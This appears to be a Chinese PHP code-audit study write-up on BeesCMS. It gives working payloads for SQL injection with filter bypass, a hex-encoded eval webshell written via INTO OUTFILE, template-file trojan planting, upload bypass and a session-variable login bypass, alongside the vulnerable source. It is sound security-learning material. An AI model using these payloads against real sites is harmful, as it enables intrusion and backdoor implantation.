php代码审计学习----蜜蜂cms代码审计
源码
https://github.com/Betsy0/CMSVulSource/tree/main/beescms
环境搭建
这个需要用docker搭建环境
用windows的phpstudy会出现403
然后chmod -R 777 html
在docker容器里
mysql -uroot -proot
create database beescms;
然后再/etc/mysql/my.cnf中添加
secure_file_priv=''
重启mysql
漏洞复现
1.SQL注入
admin' a and nd extractvalue(1,concat(0x7e,(select database()),0x7e))#
通过SQL注入getshell
admin' un union ion selselectect 1,2,3,4,0x3C3F70687020706870696E666F28293B406576616C28245F504F53545B315D293B3F3E i into nto ououtfiletfile '/var/www/html/shell.php'#
2.文件包含
/admin/admin_template.php?action=xg&nav=main&admin_p_nav=main_info&lang=cn&file=index.php(*.php)
然后插入木马即可
3.文件上传
上传图片马,抓包修改后缀
4.鉴权绕过
代码审计
1.SQL注入
全局搜索关键词select id,
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
然后此处有过滤,可以用复写绕过
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
2.文件包含
admin_template.php中可以处理php后缀的文件
//模板修改界面
elseif($action=='xg'){
if(!check_purview('tpl_manage')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$file = $_GET['file'];
$path=CMS_PATH.$file;
if(!$fp=@fopen($path,'r+')){err('<span style="color:red">模板打开失败,请确定【'.$file.'】模板是否存在</span>');}
flock($fp,LOCK_EX);
$str=@fread($fp,filesize($path));
$str = str_replace("&","&",$str);
$str= str_replace(array("'",'"',"<",">"),array("'",""","<",">"),$str);
flock($fp,LOCK_UN);
fclose($fp);
include('template/admin_template_xg.php');
}
//处理模板修改
elseif($action=='save_template'){
if(!check_purview('tpl_manage')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$template = $_POST['template'];
$file = $_POST['file'];
$template=stripslashes($template);
$path=CMS_PATH.$file;
//判断文件是否存在
if(!file_exists($path)){msg('不存在该文件，请重新操作');}
if(!$fp=@fopen($path,'w+')){err('<span style="color:red">模板打开失败,请确定【'.$file.'】模板是否存在</span>');}
flock($fp,LOCK_EX);
fwrite($fp,$template);
flock($fp,LOCK_UN);
fclose($fp);
msg('【'.$file.'】模板修改完成','?nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}
3.文件上传
在admin目录下发现有upload.php
<?php
if(isset($_FILES['up'])){
if(is_uploaded_file($_FILES['up']['tmp_name'])){
if($up_type=='pic'){
$is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];
$thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);
$thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);
$logo=0;
$is_up_size = $_sys['upload_size']*1000*1000;
$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
$pic=$value_arr['pic'];
if(!empty($value_arr['thumb'])){
$pic=$value_arr['thumb'];
}
$str="<script type=\"text/javascript\">$(self.parent.document).find('#{$get}').val('{$pic}');self.parent.tb_remove();</script>";
echo $str;
exit;
}//图片上传
}else{
die('没有上传文件或文件大小超过服务器限制大小<a href="javascript:history.back(1);">返回重新上传</a>');
}
}
?>
4.鉴权绕过
回到admin/fun.php,观察鉴权的函数
function is_login(){
if($_SESSION['login_in']==1&&$_SESSION['admin']){
if(time()-$_SESSION['login_time']>3600){
login_out();
}else{
$_SESSION['login_time']=time();
@session_regenerate_id();
}
return 1;
}else{
$_SESSION['admin']='';
$_SESSION['admin_purview']='';
$_SESSION['admin_id']='';
$_SESSION['admin_time']='';
$_SESSION['login_in']='';
$_SESSION['login_time']='';
$_SESSION['admin_ip']='';
return 0;
}
}
此时如果同时满足$_SESSION['login_in']==1,$_SESSION['admin'],time()-$_SESSION['login_time']>3600,即可绕过输入账号密码直接登录
post提交(login_time为超大数,time()-$_SESSION['login_time']就会为负数了)
_SESSION['login_in']=1&_SESSION['admin']=1&_SESSION['login_time']=12345678912345